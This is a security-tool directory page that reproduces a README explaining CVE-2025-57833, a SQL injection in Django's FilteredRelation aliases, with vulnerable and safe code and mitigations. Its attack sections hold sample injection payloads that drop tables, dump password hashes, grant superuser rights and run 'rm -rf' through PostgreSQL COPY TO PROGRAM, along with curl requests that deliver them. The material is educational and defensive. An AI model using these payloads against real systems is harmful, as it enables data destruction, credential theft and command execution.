Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/mkway/cve-2025-57833
Static AnalysisVulnerability AnalysisCode AnalysisWeb Application ExploitationPenetration TestingLearning & Education
GitHubmkway/cve-2025-57833

CVE-2025-57833

We've set up an environment to test CVE-2025-57833. This environment was built using AI, so it's subject to ongoing modification.

View Repository
21311 year agoNot yet reviewed
Share

CVE-2025-57833: Django SQL Injection Vulnerability

This repository demonstrates and explains CVE-2025-57833, a critical SQL injection vulnerability in Django's ORM that affects versions 4.2 before 4.2.24, 5.1 before 5.1.12, and 5.2 before 5.2.6.

🚨 Vulnerability Overview

CVSS Score: 9.8 (Critical)
Impact: SQL Injection leading to Remote Code Execution (RCE)
Authentication Required: None (Unauthenticated attack)


📚 Understanding the Background

What is Django ORM?

Django ORM (Object-Relational Mapping) allows developers to interact with databases using Python code instead of raw SQL. For example:

# Instead of raw SQL: SELECT * FROM books WHERE author_id = 1
books = Book.objects.filter(author_id=1)

What is FilteredRelation?

FilteredRelation is a Django feature that allows you to join tables with additional filtering conditions:

# Join books with authors, but only active authors
Book.objects.annotate(
    active_author=FilteredRelation('author', condition=Q(author__is_active=True))
).select_related('active_author')

What are Dynamic Field Names?

Sometimes developers need to create field names dynamically based on user input:

# User wants to search by different criteria
search_field = request.POST.get('field_name')  # User input: "title", "author", etc.

# Dynamic field creation using **kwargs
queryset.annotate(**{
    search_field: FilteredRelation('some_relation')
})

🎯 The Vulnerability Explained

How the Vulnerability Occurs

The vulnerability happens when unsanitized user input is used as dictionary keys in annotate() or alias() with FilteredRelation. Here's the step-by-step process:

Step 1: Vulnerable Code Pattern

# This is what vulnerable applications do:
user_input = request.POST.get('search_field')  # Attacker controls this

# The vulnerability is here - user input becomes SQL column alias
queryset.annotate(**{
    user_input: FilteredRelation("author")  # ❌ DANGEROUS
})

Step 2: Malicious Input

An attacker sends malicious input:

user_input = "malicious_field'; DROP TABLE users; --"

Step 3: SQL Generation

Django generates SQL like this:

SELECT ... 
FROM book 
LEFT OUTER JOIN author AS malicious_field'; DROP TABLE users; -- ON ...

Step 4: SQL Injection Executed

The malicious SQL is executed, potentially:

  • Dropping tables
  • Extracting sensitive data
  • Executing arbitrary commands (RCE)

🔍 Real-World Attack Scenario

Common Vulnerable Pattern

Many Django applications have search functionality where users can choose which field to search:

# views.py - Common vulnerable pattern
def search_books(request):
    search_field = request.POST.get('search_by')  # "author", "title", "category"
    search_value = request.POST.get('search_value')
    
    # Developer thinks this is safe - IT'S NOT!
    books = Book.objects.annotate(**{
        f"filtered_{search_field}": FilteredRelation(
            search_field, 
            condition=Q(**{f"{search_field}__name__icontains": search_value})
        )
    })
    
    return JsonResponse({'books': list(books.values())})

Attack Vector

# Attacker sends this POST request:
curl -X POST http://example.com/search/ \
  -d "search_by=author'; DROP TABLE auth_user; --" \
  -d "search_value=anything"

⚖️ Safe vs Vulnerable Code

❌ Vulnerable Code

# NEVER DO THIS - Direct user input as dictionary key
user_field = request.POST.get('field')
queryset.annotate(**{
    user_field: FilteredRelation('relation')  # SQL Injection!
})

✅ Safe Code - Whitelist Approach

# SAFE - Use whitelist validation
ALLOWED_FIELDS = ['author', 'category', 'publisher']

user_field = request.POST.get('field')
if user_field not in ALLOWED_FIELDS:
    raise ValidationError("Invalid field")

queryset.annotate(**{
    user_field: FilteredRelation('relation')  # Now safe
})

✅ Safe Code - Static Field Names

# SAFE - Use static field names
search_type = request.POST.get('search_type')
if search_type == 'author':
    queryset.annotate(filtered_author=FilteredRelation('author'))
elif search_type == 'category':
    queryset.annotate(filtered_category=FilteredRelation('category'))

💥 Impact Escalation: From SQL Injection to RCE

1. Information Disclosure

-- Extract sensitive data
'; SELECT username, password FROM auth_user; --

2. Database Manipulation

-- Modify data
'; UPDATE auth_user SET is_superuser = true WHERE id = 1; --

3. Remote Code Execution (PostgreSQL)

-- Execute system commands (PostgreSQL with appropriate extensions)
'; COPY (SELECT '') TO PROGRAM 'rm -rf /tmp/*'; --

🛡️ Mitigation Strategies

1. Input Validation (Recommended)

ALLOWED_FIELDS = ['author', 'title', 'category', 'publisher']

def safe_annotate(queryset, field_name):
    if field_name not in ALLOWED_FIELDS:
        raise ValidationError(f"Field '{field_name}' not allowed")
    
    return queryset.annotate(**{
        field_name: FilteredRelation('relation')
    })

2. Avoid Dynamic Field Names

# Instead of dynamic field names, use conditional logic
def get_filtered_queryset(search_type):
    if search_type == 'author':
        return queryset.annotate(result=FilteredRelation('author'))
    elif search_type == 'category':
        return queryset.annotate(result=FilteredRelation('category'))
    else:
        raise ValidationError("Invalid search type")

3. Update Django

Update to the latest Django version:

  • Django 4.2.24+
  • Django 5.1.12+
  • Django 5.2.6+

🧪 Testing This Vulnerability

This repository includes a complete test environment:

# Run the vulnerable Django application
docker-compose up

# Test the vulnerability
curl -X POST http://localhost:8000/api/vulnerable-search/ \
  -H "Content-Type: application/json" \
  -d '{"search_field": "malicious\"; DROP TABLE IF EXISTS test; --"}'

For detailed testing instructions, see document/README.md.


📖 References

  • Django Security Advisory: Django security releases issued: 5.2.6, 5.1.12, and 4.2.24
  • Technical Analysis: Django Unauthenticated 0-click RCE and SQL Injection by Eyal Gabay
  • CVE Details: CVE-2025-57833 Django SQL Injection

⚠️ Disclaimer

This repository is for educational and defensive security purposes only. Do not use this information to attack systems you don't own or have permission to test.

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    867
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    544
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    385
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    360
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    302
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    279

Explore all tools

Browse our collection of tools

View all tools →